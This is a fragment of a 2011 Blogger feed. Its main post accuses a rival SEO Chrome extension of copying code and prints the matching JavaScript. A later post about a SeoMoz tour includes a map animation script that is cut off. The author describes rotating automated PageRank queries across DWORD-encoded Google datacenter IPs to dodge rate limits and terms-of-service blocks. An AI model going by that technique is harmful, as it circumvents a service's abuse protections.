&lt;/div&gt;&lt;div&gt;Im starting a petition to tell Google to bring it back... click the link to sign the twitter petition to Google.&lt;br /&gt;
&lt;script src="http://act.ly/widget/firebox/3wg?recruiter=CarterCole" type="text/javascript"&gt;&lt;/script&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-8038526664009792758?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/GlPrmKmItHQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/8038526664009792758/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/07/google-wonder-wheel-has-disappeared.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/8038526664009792758?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/8038526664009792758?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/GlPrmKmItHQ/google-wonder-wheel-has-disappeared.html" title="The Google Wonder Wheel has disappeared!" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-3ovaDKgB6ak/ThDc-rrBR2I/AAAAAAAABaI/pHOK3YMI-a8/s72-c/ww.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/07/google-wonder-wheel-has-disappeared.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEcGQ3c-eSp7ImA9WhRRF0o.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-6344639353820404099</id><published>2011-05-19T09:05:00.000-07:00</published><updated>2011-12-01T13:47:02.951-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-01T13:47:02.951-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="tools" /><category scheme="http://www.blogger.com/atom/ns#" term="stolen code" /><category scheme="http://www.blogger.com/atom/ns#" term="jerk" /><category scheme="http://www.blogger.com/atom/ns#" term="SEO" /><title>Sorezki SEO Plus stole its code from SEO Site Tools... and heres the proof</title><content type="html">&lt;div style="padding:15px;border:1px solid black;background:white;color:black;"&gt;Roi Sorezki has contacted me and said that the code was copied by a developer and that the copied portions of code would be removed. &lt;/div&gt;&lt;h1 style="float:right;margin-left:10px;font-size30px;text-align:right;width:250px;"&gt;Imitation is the sincerest form of flattery... unless they are stealing your code&lt;/h1&gt;Hey there! I'm &lt;a href="http://www.google.com/search?q=carter+cole"&gt;Carter Cole&lt;/a&gt;, the developer of the wildly popular SEO Site Tools Google chrome extension. It's currently boasting a little over 34,000 active users and it's my 2nd most pride and joy (I've got a son, Seth). My extension took a lot of hard work and time to create and today I found someone had stolen my work and reskinned it, calling it their own, adding only minimal changes to the ui and almost no functionality. As a kind of counter, to hopefully shame the person who stole my code, I'm going to run through all my code. How it works, the history of how I created it, then im going to show the copied UI elements and finally I'm going to show the copied code stolen from my extension.&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.blogger.com/post-edit.g?blogID=6979125180851784848&amp;amp;postID=6344639353820404099#copiedcode"&gt;Skip to copied code&lt;/a&gt; or &lt;a href="http://www.blogger.com/post-edit.g?blogID=6979125180851784848&amp;amp;postID=6344639353820404099#copiedui"&gt;Skip to copied UI&lt;/a&gt; (warning i kinda go on a rant to explain why I care so much about this little tool).&lt;br /&gt;
&lt;br /&gt;
I like to think of my tool as the Borg of SEO tools. I first got the idea to build it when I heard SeoMoz had a free API. I hoped to create a 1 to 1 copy of the SeoMoz extension for Firefox as a Google Chrome extension and give it to SeoMoz to try and give credibility to get a job there and also to take credit for the chrome version. They didn't want to go for that and were going to keep it in-house but would help and give feedback. After my first prototype it felt like something was lacking. There were so many more data sources that the moz tool didnt show... So I downloaded every Firefox and chrome SEO Extension I could find and started sniffing the API calls they made (or scraped off serps, the best way to do this is with something like Fiddler). By combining only the metrics that really matter and adding in a few of my own ideas I had something awesome. Thats why I call it the Borg, it was made by replicating the best parts and as soon as another extension (in this case that was "Chrome SEO") created a new feature I would replicate (but not steal) the functionality and add it to my tool. I was doing almost weekly update and the user-base was growing like crazy. Then I got a new job and things stagnated. My extenstion is run on almost 10k pages a day and because of scope creep I've lost sight of my original goals and haven't made an update in months. I really need to block out time to make updates. My tool getting stolen has been a rude awakening that I need to get coding again. So enough about why this matters so much to me. I'll get into how they stole my tool.&lt;br /&gt;
&lt;br /&gt;
Now, because of the nature of Google Chrome extensions (they are all just HTML and JavaScript) it's quite difficult to protect your source code so you expect it to be seen. Knowing this, I didn't even try to obfuscate the code because its pretty easy to reverse and if they really want the code they will get it. But there are some trade secrets you want to keep so you do them in a way that's not that hard to figure out but will trick a few. One of the problems I identified with SeoQuake (my closely following competitor) was that they only hit one Google datacenter, that caused there pagerank queries to look automated and thus get the violation of tos message. Google has tons of datacenters and I figured not all of them are telling each other who's asking for pagerank, so if we loop through all of them then we will have a kinda snowshoe that will let us make as many pagerank queries as we want without hitting those rate limiters. Cool, eh? Well, here they are, all the Google Datacenter IPs DWORD encoded to try and help hide what they were. They appear in my SEO Site Tool like this:&lt;a id="copiedcode" name="copiedcode"&gt; &lt;/a&gt;&lt;script type="syntaxhighlighter" class="brush: js;"&gt;&lt;![CDATA[
var stopWords=["able", "about", "after", "again", "all", "almost", "already", "also", "although", "and", "another", "any", "are", "around", "based", "because", "been", "before", "being", "between", "both", "bring", "but", "came", "can", "com", "come", "comes", "could", "did", "does", "doing", "done", "each", "eight", "else", "etc", "even", "every", "five", "for", "four", "from", "get", "gets", "getting", "going", "got", "had", "has", "have", "her", "here", "him", "himself", "his", "how", "however", "href", "http", "including", "into", "its", "ing", "just", "know", 
"like", "looks", "mailto", "make", "making", "many", "may", "means", "might", "more", "more", "most", "move", "much", "must", "need", "needs", "never", "nice", "nine", "not", "now", "often", "one", "only", "org", "other", "our", "out", "over", "own", "piece", "rather", "really", "said", "same", "say", "says", "see", "seven", "several", "she", "should", "since", "single", "six", "some", "something", "still", "stuff", "such", "take", "ten", "than", "that", "the", "their", "them", "them", "then", "there", "there", "these", "they", "they", "thing", "things", "this", 
"those", "three", "through", "too", "took", "two", "under", "use", "used", "using", "usual", "very", "via", "want", "was", "way", "well", "were", "what", "when", "where", "whether", "which", "while", "whilst", "who", "why", "will", "with", "within", "would", "yes", "yet", "you", "your"], stuf=[{name:"jQuery", url:"http://jquery.com"}, {name:"jQuery UI", url:"http://jqueryui.com/"}, {name:"Drupal", url:"http://drupal.org"}, {name:"Google Analytics", url:"http://www.google.com/analytics/"}, {name:"Quantcast", url:"http://www.quantcast.com/"}, 
{name:"Prototype", url:"http://www.prototypejs.org/"}, {name:"Ubercart", url:"http://www.ubercart.org/"}, {name:"ExtJS", url:"http://www.extjs.com/"}, {name:"Closure", url:"http://code.google.com/closure/"}, {name:"IPB", url:"http://invisionpower.com/"}, {name:"MODx", url:"http://modxcms.com/"}, {name:"MooTools", url:"http://mootools.net/"}, {name:"Dojo", url:"http://www.dojotoolkit.org/"}, {name:"script.aculo.us", url:"http://script.aculo.us/"}, {name:"YUI", url:"http://developer.yahoo.com/yui/"}, {name:"Disqus", url:"http://disqus.com/"}, 
{name:"GetSatisfaction", url:"http://getsatisfaction.com"}, {name:"Wibiya", url:"http://wibiya.com/"}, {name:"reCaptcha", url:"http://recaptcha.net/"}, {name:"Mollom", url:"http://mollom.com"}, {name:"ZenPhoto", url:"http://www.zenphoto.org"}, {name:"Gallery2", url:"http://gallery.menalto.com/"}, {name:"AdSense", url:"https://www.google.com/adsense"}, {name:"Joomla", url:"http://joomla.org"}, {name:"vBulletin", url:"http://www.vbulletin.com/"}, {name:"WordPress", url:"http://wordpress.org"}, {name:"XOOPS", url:"http://xoops.org"}, 
{name:"Plone", url:"http://plone.org/"}, {name:"MediaWiki", url:"http://www.mediawiki.org/"}, {name:"CMSMadeSimple", url:"http://www.cmsmadesimple.org/"}, {name:"SilverStripe", url:"http://silverstripe.org"}, {name:"Movable Type", url:"http://www.movabletype.org/"}, {name:"Amiro.CMS", url:"http://www.amirocms.com/"}, {name:"Koobi", url:"http://www.dream4.de/cms/"}, {name:"bbPress", url:"http://bbpress.org"}, {name:"DokuWiki", url:"http://www.dokuwiki.org/"}, {name:"TYPO3", url:"http://typo3.org/"}, {name:"PHP-Nuke", 
url:"http://phpnuke.org/"}, {name:"DotNetNuke", url:"http://www.dotnetnuke.com/"}, {name:"Sitefinity", url:"http://www.sitefinity.com/"}, {name:"WebGUI", url:"http://www.webgui.org/"}, {name:"ez Publish", url:"http://ez.no/"}, {name:"BIGACE", url:"http://www.bigace.de/"}, {name:"TypePad", url:"http://typepad.com"}, {name:"Blogger", url:"http://blogger.com"}, {name:"phpBB", url:"http://phpbb.org"}];
var ips=['www.google.com', 3512066403, 3512043336, 3512066404, 3512066963, 3512067432, 3512069925, 3639556936, 3639557538, 1089055078, 1089055080, 1089055075, 1089060134, 1113983336, 1113983397, 1123637569, 1123637585, 1208929179, 1208929057, 1208929123, 1208931731, 1208933723, 1249708616, 1249708640, 1249731675, 1249735013, 1249735016, 1249735078, 1249709342, 1249709409, 1249709605, 1249709639, 1249709957, 1249709850, 1249709853, 1249709861, 1249745768, 1249745811, 1249746280, 1249746275, 1249746792, 1249746835, 1249746787, 1249748132, 1249710948, 1249710952, 1249710995, 1249711005, 1249706514, 1249706533, 1249706779, 1249716115, 1249716004, 1249707201, 1249707226, 1249717096, 1249718115, 1249719651, 1249707536, 1249707548, 1249722771, 1249722786, 1249723283, 1249723299, 1249723174, 1249723235, 1249707877, 1249707811, 1249707870, 1249725800, 1249725850, 1249725714, 1249726355, 1249726365, 1249726280, 1249728355, 1249729427, 1249729875, 1249729891, 1249730399, 1249731421];
]]&gt;&lt;/script&gt;and here is the stolen copy... &lt;a rel="nofollow" href="http://www.sorezki.com/tools/extension/chrome/plus/v1.0.5/scripts/remote/data.js"&gt;on his server&lt;/a&gt;. Hmm, those kinda look the same... that's a little weird! But hey, I mean, that's just some regex and IP constants. There's nothing really magic in there right? Not so bad.&lt;br /&gt;
Then we look at the gwebtools.js.&lt;script type="syntaxhighlighter" class="brush: js;"&gt;&lt;![CDATA[
chrome.extension.sendRequest({
    action: "cEnabled",
    feat: "egwmt"
}, function (d) {
    if (d.enabled == 1) {
        var e = parseUri(document.location),
            c = d.typ == 1;
        $(document.body).insert('&lt;img src="http://j.mp/bwrbUx" style="position:absolute;top:5px;left:245px;"&gt;');
        $$("th.leftmost").each(function (a) {
            var b;
            b = c ? "mozRank" : "PageRank&amp;trade;";
            $(a).insert({
                after: '&lt;th class="header"&gt;Anchor Text&lt;/th&gt;&lt;th class="header"&gt;' + b + "&lt;/th&gt;"
            })
        });
        $$("td.leftmost").each(function (a) {
            var b = "";
            if (c) b = '&lt;a href="" target="_blank"&gt;&lt;/a&gt;';
            $(a).insert({
                after: "&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;" + b + "&lt;/td&gt;"
            })
        });
        $$(".url-wrap").each(function (a) {
            chrome.extension.sendRequest({
                action: "isFoll",
                check: $(a).up("a").href,
                url: unescape(e.queryKey.siteUrl + e.queryKey.bplink)
            }, function (b) {
                b.follow || $(a).setStyle({
                    color: "red",
                    "text-decoration": "line-through"
                });
                $(a).up("td").next("td").update(b.text);
                if (c) {
                    $(a).up("td").next("td").next("td").down("a").update(b.rank);
                    $(a).up("td").next("td").next("td").down("a").href = "http://www.seomoz.org/linkscape/intel/basic/?uri=" + escape($(a).up("a").href)
                } else $(a).up("td").next("td").next("td").update("&lt;img alt='" + b.rank + "' src='" + chrome.extension.getURL("./pr/prc" + b.rank + ".gif") + "'&gt;")
            })
        })
    }
});
]]&gt;&lt;/script&gt;  It's obfuscated on his server, where it's here&lt;a rel="nofollow" href="http://www.sorezki.com/tools/extension/chrome/plus/v1.0.5/scripts/remote/gwebtools-remote.js"&gt; gwebtools-remote.js&lt;/a&gt; but that packer is easily defeated by the &lt;a href="http://jsbeautifier.org/"&gt;JS Beautifyer&lt;/a&gt; and we find that its an exact copy. Except, he removed my branding logo.&lt;div&gt;&lt;script type="syntaxhighlighter" class="brush: js;"&gt;&lt;![CDATA[
chrome.extension.sendRequest({
    action: "cEnabled",
    feat: "egwmt"
}, function (d) {
    if (d.enabled == 1) {
        var e = parseUri(document.location),
            c = d.typ == 1;
        $$("th.leftmost").each(function (a) {
            var b;
            b = c ? "mozRank" : "PageRank&amp;trade;";
            $(a).insert({
                after: '&lt;th class="header"&gt;Anchor Text&lt;/th&gt;&lt;th class="header"&gt;' + b + "&lt;/th&gt;"
            })
        });
        $$("td.leftmost").each(function (a) {
            var b = "";
            if (c) b = '&lt;a href="" target="_blank"&gt;&lt;/a&gt;';
            $(a).insert({
                after: "&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;" + b + "&lt;/td&gt;"
            })
        });
        $$(".url-wrap").each(function (a) {
            chrome.extension.sendRequest({
                action: "isFoll",
                check: $(a).up("a").href,
                url: unescape(e.queryKey.siteUrl + e.queryKey.bplink)
            }, function (b) {
                b.follow || $(a).setStyle({
                    color: "red",
                    "text-decoration": "line-through"
                });
                $(a).up("td").next("td").update(b.text);
                if (c) {
                    $(a).up("td").next("td").next("td").down("a").update(b.rank);
                    $(a).up("td").next("td").next("td").down("a").href = "http://www.seomoz.org/linkscape/intel/basic/?uri=" + escape($(a).up("a").href)
                } else $(a).up("td").next("td").next("td").update("&lt;img alt='" + b.rank + "' src='" + chrome.extension.getURL("./pr/prc" + b.rank + ".gif") + "'&gt;")
            })
        })
    }
});
]]&gt;&lt;/script&gt;&lt;br /&gt;
OK, so there are giant portions of code that are copied from your tool and obfuscated on a remote server where he AJAXes it in to be evaled so none of the code he stole shows up in his tools file.&lt;br /&gt;
&lt;br /&gt;
Here's how his eval function works executing my code... he ajaxes it in and executes it. &lt;script type="syntaxhighlighter" class="brush: js;"&gt;&lt;![CDATA[

    case "googleWebMasterKeyWords":
        try {
            new Ajax.Request("" + appURL + "scripts/remote/wmtkeywords-remote.js", {
                method: "get",
                onSuccess: function (o) {
                    sendRequest2Tab({
                        action: "googleWebMasterKeyWords",
                        message: "success",
                        act: ""
                    });
                    chrome.tabs.executeScript(f.tab.id, {
                        code: o.responseText
                    })
                },
]]&gt;&lt;/script&gt;I can keep showing example after example of copied function names and entire scripts that run different enhancements I wrote, but what made it so blatantly obvious that it was mine was the layout and display. I mean, it's all also copied. I even found a file they distributed with the extension called changesList.txt that had this in it. They took my code and just started Frankensteining it with their branding. But let's get to that stolen UI.&lt;/div&gt;&lt;div&gt;So, they actually AJAX in the HTML from my page from this url &lt;a rel="nofollow" href="http://www.sorezki.com/tools/extension/chrome/plus/v1.0.5/indexhtml-remote.html"&gt;indexhtml-remote.html&lt;/a&gt; when the popup loads. I used the google chart API to make my link pie chart... heres theres (as blue).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-O0l7QCpddBk/TdSRQqpP06I/AAAAAAAABYI/qzB_vdqjA7c/s1600/Screen%2Bshot%2B2011-05-18%2Bat%2B4.30.41%2BPM.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="211" width="320" src="http://4.bp.blogspot.com/-O0l7QCpddBk/TdSRQqpP06I/AAAAAAAABYI/qzB_vdqjA7c/s320/Screen%2Bshot%2B2011-05-18%2Bat%2B4.30.41%2BPM.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;They even copied the tooltip help stuff. I mean, it's like they didn't even care to try and hide it.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-czHieGGL7OM/TdSSnXdgtcI/AAAAAAAABYQ/RafKoWMo1w4/s1600/minelinks.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="136" width="320" src="http://4.bp.blogspot.com/-czHieGGL7OM/TdSSnXdgtcI/AAAAAAAABYQ/RafKoWMo1w4/s320/minelinks.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;The way it shows the views of the elements is the same too, just some changes to my stylesheet is all it took.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;a id="copiedui" name="copiedui"&gt; &lt;/a&gt;Heres another example of exact copies of my tool compared to theirs (I'm showing theirs then mine).&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-XVtPVmIVdJA/TdSTFY2esQI/AAAAAAAABYY/4gwAnBdITAk/s1600/Screen%2Bshot%2B2011-05-18%2Bat%2B4.31.01%2BPM.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="97" width="320" src="http://2.bp.blogspot.com/-XVtPVmIVdJA/TdSTFY2esQI/AAAAAAAABYY/4gwAnBdITAk/s320/Screen%2Bshot%2B2011-05-18%2Bat%2B4.31.01%2BPM.png" /&gt;&lt;/a&gt;&lt;/div&gt;...and here is my version: the original.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-X7OUzwjNRlQ/TdSTa6HB_PI/AAAAAAAABYg/-OQejlOkU1Y/s1600/mytools.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="187" width="320" src="http://3.bp.blogspot.com/-X7OUzwjNRlQ/TdSTa6HB_PI/AAAAAAAABYg/-OQejlOkU1Y/s320/mytools.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;Same tools same copy same html table to resize the window... the function calls are the same all of it, along with the string tools (which were really added in there for me but i got some good ideas from ontolo tools so ill add those to the list of things to build)&lt;br /&gt;
Again im showing his copy and then my original...&lt;br /&gt;
Copy:&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-Zfku-q2d3LU/TdSUKf8n7CI/AAAAAAAABYo/378M5WcCXN8/s1600/Screen%2Bshot%2B2011-05-18%2Bat%2B4.31.05%2BPM.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="72" width="320" src="http://3.bp.blogspot.com/-Zfku-q2d3LU/TdSUKf8n7CI/AAAAAAAABYo/378M5WcCXN8/s320/Screen%2Bshot%2B2011-05-18%2Bat%2B4.31.05%2BPM.png" /&gt;&lt;/a&gt;&lt;/div&gt;Original:&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-fLryQsMcy20/TdSUb2z8-7I/AAAAAAAABYw/1hIHLJ6rotI/s1600/mytools2.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="150" width="320" src="http://2.bp.blogspot.com/-fLryQsMcy20/TdSUb2z8-7I/AAAAAAAABYw/1hIHLJ6rotI/s320/mytools2.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;And finally, they copied all my automated SEO advice... something I actually hate to do because you get some users that fight to get all green and its not really the best use of their SEO time, but thats a whole different issue.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
One more time... heres there copy:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-lLRPBkUza2g/TdSVSdjfSlI/AAAAAAAABY4/beN0Nw-5fmc/s1600/Screen%2Bshot%2B2011-05-18%2Bat%2B4.31.29%2BPM.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="194" width="320" src="http://3.bp.blogspot.com/-lLRPBkUza2g/TdSVSdjfSlI/AAAAAAAABY4/beN0Nw-5fmc/s320/Screen%2Bshot%2B2011-05-18%2Bat%2B4.31.29%2BPM.png" /&gt;&lt;/a&gt;&lt;/div&gt;...and the same exact results in the same order as my tool just different colors.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-Hm582Z-AbvI/TdSVloZpQgI/AAAAAAAABZA/S0L7ymIAvD0/s1600/suggest.JPG" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="148" width="320" src="http://2.bp.blogspot.com/-Hm582Z-AbvI/TdSVloZpQgI/AAAAAAAABZA/S0L7ymIAvD0/s320/suggest.JPG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;
&lt;/div&gt;I've worked hard to create my tool and you have only begun to see the cool ideas I have planned. Hopefully I won't need to keep fighting my code being stolen, but I've worked too hard to see all my intellectual property stolen and do nothing about it.&lt;br /&gt;
&lt;br /&gt;
I'm tired and wasted my night writing this whole rant. I just want credit for one of my best pieces of work, and if you want an SEO extension send me an email. I've built them for other firms and if the partner is right I see no reason why I wouldn't license the code out (the whole point is bragging rights and finding a way to make a little money), petty? I guess, but itss my code and I'm gonna fight to keep it.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-6344639353820404099?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/ThiQOP2m3pw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/6344639353820404099/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/05/sorezki-seo-plus-stole-its-code-from.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/6344639353820404099?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/6344639353820404099?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/ThiQOP2m3pw/sorezki-seo-plus-stole-its-code-from.html" title="Sorezki SEO Plus stole its code from SEO Site Tools... and heres the proof" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-O0l7QCpddBk/TdSRQqpP06I/AAAAAAAABYI/qzB_vdqjA7c/s72-c/Screen%2Bshot%2B2011-05-18%2Bat%2B4.30.41%2BPM.png" height="72" width="72" /><thr:total>0</thr:total><georss:featurename>Houston, TX, USA</georss:featurename><georss:point>29.7628844 -95.3830615</georss:point><georss:box>29.4693304 -95.830806 30.0564384 -94.935317</georss:box><feedburner:origLink>http://blog.cartercole.com/2011/05/sorezki-seo-plus-stole-its-code-from.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0YMSH85eyp7ImA9WhZWF08.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-2265648042317261036</id><published>2011-05-17T20:24:00.000-07:00</published><updated>2011-05-18T07:33:09.123-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-18T07:33:09.123-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="houston" /><category scheme="http://www.blogger.com/atom/ns#" term="roger" /><category scheme="http://www.blogger.com/atom/ns#" term="seomoz" /><title>The MozCation should definitely add Houston, TX to its list of stops</title><content type="html">SeoMoz should definitely make its way to &lt;a href="http://en.wikipedia.org/wiki/Houston"&gt;Houston, TX&lt;/a&gt; we are the forth largest city in the us and have a large techie/nerd population, there's great food and honestly there are a few SEO meetups that have stagnated and we need your help to get the excitement for optimizing websites and producing great content.&lt;br /&gt;
You should hurry up... i think Roger the MozBot is already on his way :)&lt;script src="http://maps.google.com/maps?file=api&amp;amp;v=2&amp;amp;sensor=false&amp;amp;key=ABQIAAAABkDaFKoHh5dWTLEyDdaAhBQbuIXWmbNMJMf11cY6Zw5aYEmz9xQ_W8Jn7x4IaqCjyx-Iq8N3Ow3XjA" type="text/javascript"&gt;&lt;/script&gt;&lt;script src="http://econym.org.uk/gmap/epoly.js" type="text/javascript"&gt;&lt;/script&gt;&lt;script src="http://econym.org.uk/gmap/elabel.js" type="text/javascript"&gt;&lt;/script&gt;&lt;div id="map" style="width: 575px; height: 500px"&gt;&lt;/div&gt;&lt;div id="step"&gt;&amp;nbsp;&lt;/div&gt;&lt;div id="distance"&gt;Miles: 0.00&lt;/div&gt;&lt;canvas id="testcanvas" width="1" height="1"&gt;&lt;/canvas&gt;&lt;script type="text/javascript"&gt; //&lt;![CDATA[

var eol,poly;Event.observe(window,"load",function(){start()});
if(GBrowserIsCompatible()){var map=new GMap2(document.getElementById("map"));map.addControl(new GMapTypeControl);map.setCenter(new GLatLng(0,0),4);var dirn=new GDirections,step=500,tick=100,car=new GIcon;car.image="http://2.bp.blogspot.com/-Wbmy-uBT1Ds/TdMvRR7fv-I/AAAAAAAABYA/Dskro1BM1qw/s1600/roger.png";car.iconSize=new GSize(83,112);car.iconAnchor=new GPoint(16,9);var marker,k=0,stepnum=0,speed="",img=new Image;img.src="http://2.bp.blogspot.com/-Wbmy-uBT1Ds/TdMvRR7fv-I/AAAAAAAABYA/Dskro1BM1qw/s1600/roger.png";var angle,
canvas,lastVertex=0,supportsCanvas=document.getElementById("testcanvas").getContext?!0:!1,bearing=function(a,b){var c=a.latRadians(),e=a.lngRadians(),d=b.latRadians(),f=b.lngRadians(),c=-Math.atan2(Math.sin(e-f)*Math.cos(d),Math.cos(c)*Math.sin(d)-Math.sin(c)*Math.cos(d)*Math.cos(e-f));c&lt;0&amp;&amp;(c+=Math.PI*2);return c-95},plotcar=function(){var a=Math.cos(angle),b=Math.sin(angle);canvas.clearRect(0,0,220,220);canvas.save();canvas.rotate(angle);canvas.translate(110*b+110*a+20,110*a-110*b+40);canvas.drawImage(img,
-110,-110);canvas.restore()},animate=function(a){if(a&gt;eol)document.getElementById("step").innerHTML="&lt;b&gt;Trip completed&lt;/b&gt;",document.getElementById("distance").innerHTML="Miles: "+(a/1609.344).toFixed(2);else{var b=poly.GetPointAtDistance(a);k++&gt;=180/step&amp;&amp;(map.panTo(b),k=0);marker.setPoint(b);document.getElementById("distance").innerHTML="Miles: "+(a/1609.344).toFixed(2)+speed;if(stepnum+1&lt;dirn.getRoute(0).getNumSteps()){if(dirn.getRoute(0).getStep(stepnum).getPolylineIndex()&lt;poly.GetIndexAtDistance(a)){stepnum++;
b=dirn.getRoute(0).getStep(stepnum).getDescriptionHtml();document.getElementById("step").innerHTML="&lt;b&gt;Next:&lt;/b&gt; "+b;var b=dirn.getRoute(0).getStep(stepnum-1).getDistance().meters,c=dirn.getRoute(0).getStep(stepnum-1).getDuration().seconds,b=(b/c*2.24).toFixed(0);step=b/2.5;speed="&lt;br&gt;Current speed: "+b+" mph"}}else if(dirn.getRoute(0).getStep(stepnum).getPolylineIndex()&lt;poly.GetIndexAtDistance(a))document.getElementById("step").innerHTML="&lt;b&gt;Next: Arrive at your destination&lt;/b&gt;";if(supportsCanvas&amp;&amp;
poly.GetIndexAtDistance(a)&gt;lastVertex){lastVertex=poly.GetIndexAtDistance(a);for(lastVertex==poly.getVertexCount()&amp;&amp;(lastVertex-=1);poly.getVertex(lastVertex-1).equals(poly.getVertex(lastVertex));)lastVertex-=1;angle=bearing(poly.getVertex(lastVertex-1),poly.getVertex(lastVertex));plotcar()}setTimeout("animate("+(a+step)+")",tick)}};GEvent.addListener(dirn,"load",function(){poly=dirn.getPolyline();eol=poly.Distance();map.setCenter(poly.getVertex(0),17);map.addOverlay(new GMarker(poly.getVertex(0),
G_START_ICON));map.addOverlay(new GMarker(poly.getVertex(poly.getVertexCount()-1),G_END_ICON));if(supportsCanvas){marker=new ELabel(poly.getVertex(0),'&lt;canvas id="carcanvas" width="220" height="220"&gt;&lt;/canvas&gt;',null,new GSize(-110,110));map.addOverlay(marker);canvas=document.getElementById("carcanvas").getContext("2d");var a=poly.getVertex(0),b=poly.getVertex(1);angle=bearing(a,b);plotcar()}else marker=new GMarker(poly.getVertex(0),{icon:car}),map.addOverlay(marker);a=dirn.getRoute(0).getStep(stepnum).getDescriptionHtml();
